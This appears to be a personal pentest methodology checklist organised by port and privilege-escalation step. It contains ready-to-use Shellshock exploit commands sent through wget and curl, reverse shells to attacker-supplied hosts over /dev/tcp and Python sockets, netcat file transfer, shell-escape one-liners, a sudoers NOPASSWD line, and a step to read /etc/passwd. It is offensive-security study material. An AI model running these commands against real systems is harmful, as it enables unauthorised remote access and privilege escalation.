Flow Pentest

Sunday, August 14, 2022

12:56 AM

* + Scan of host
    - Port 21 (FTP)
    - Port 22 (SSH)
    - Port 23 (Telnet)
    - Port 25 (SMTP)
    - Port 80 & 443 (HTTP/S)
      * Check for /robots.txt
      * Check source code
      * Scan with Nikto
        + If using proxy: Nikto –useproxy [proxyIPADDR]:port -h IPADDR
        + CGI-BIN discovered

Shellshock

Test if vulnerable: wget -U “() { test;};echo \”Content-type: text/plain\”; echo; /bin/bash -c ‘echo vulnerable’” <http://TARGETIPADDR/cgi-bin/status> -e use\_proxy=yes -e http\_proxy=proxyIPADDR+

$ wget -qO- -U “() { test;};echo \”Content-type: text/plain\”; echo; echo; /usr/bin/python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect((\”HOSTIPADDR\”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’ 2>&1″ -e use\_proxy=yes -e http\_proxy=PROXYIPADDR <http://WEBSITEIP/cgi-bin/status>

Shell: wget -U “() { test;};echo \”Content-type: text/plain\”; echo; /bin/bash -i >& /dev/tcp/HOSTIP/PORT 0>&1″ <http://TARGETIPADDR/cgi-bin/status> -e use\_proxy=yes -e http\_proxy=PROXYIPADDR

curl -x <http://192.168.1.9:3128> -H “User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.1.7/1234 0>&1” <http://192.168.1.9/cgi-bin/status>

* + - * Dirbuster (GUI)
      * Login Form Discovered
      * Directory Traversal
      * Command Injection
        + File traverse
        + Test HTTP options
        + Upload file using Curl with if PUT option is available
        + Wget file via command injection
        + Activate shell file
        + MySQL
      * WordPress
      * Local File Inclusion
      * Remote Code Execution
      * Check all directories for usernames or potential passwords
      * Switch user agent
    - Port 110 (POP3)
    - Port 111 (RPCBind)
    - Port 139/445 (SMB/RPC)
    - Port 161 (SNMP)
    - Port 1521 (Oracle)
    - Port 3128 (Proxy)
    - Port 3306 (MySQL)
    - UNKNOWN PORT
    - NO PORTS LISTED
  + Enumeration & Privilege Escalation
    - Run enumeration script
    - Transfer Files
      * By Netcat
        + on Host: nc -lvp PORT < example.c
        + on target: nc -nv HOSTIP PORT > example.c
      * By wget
        + wget IPADDR/example.c
        + start apache2 before hand

service apache2 restart

* + - Escape limited shell
      * python -c ‘import pty;pty.spawn(“/bin/bash”)’
      * echo os.system(‘/bin/bash’)
      * /bin/sh -i
      * awk ‘BEGIN {system(“/bin/sh”)}’
      * find / -name blahblah ‘exec /bin/awk ‘BEGIN {system(“/bin/sh”)}’ \;
      * python: exit\_code = os.system(‘/bin/sh’) output = os.popen(‘/bin/sh’).read()
      * perl -e ‘exec “/bin/sh”;’
      * perl: exec “/bin/sh”;
      * ruby: exec “/bin/sh”
      * lua: os.execute(‘/bin/sh’)
      * irb(main:001:0> exec “/bin/sh”
    - Check sensitive files
    - Check kernel version
    - Check distro
    - Check for sudo privileges on non-root account
    - Add sudo privileges
      * USERNAME ALL=NOPASSWD; !/usr/bin/su, /bin/bash
    - Check for passwords in config files
    - Which services are running by root
    - Check for SUID binaries
    - Set SUID on file
    - Which files are world writeable
    - Service configurations
    - Scheduled cronjobs
    - Search for plain text usernames or passwords
    - Check for secondary interfaces & networks
    - Check which languages are installed
    - How can files be uploaded
    - SSH keys
    - View bash history
    - Default password locations
    - MySQL
    - Enumerate localhost
    - Cracking Passwords
    - Check for Password reuse
      * enumerate users via cat /etc/passwd
  + Misc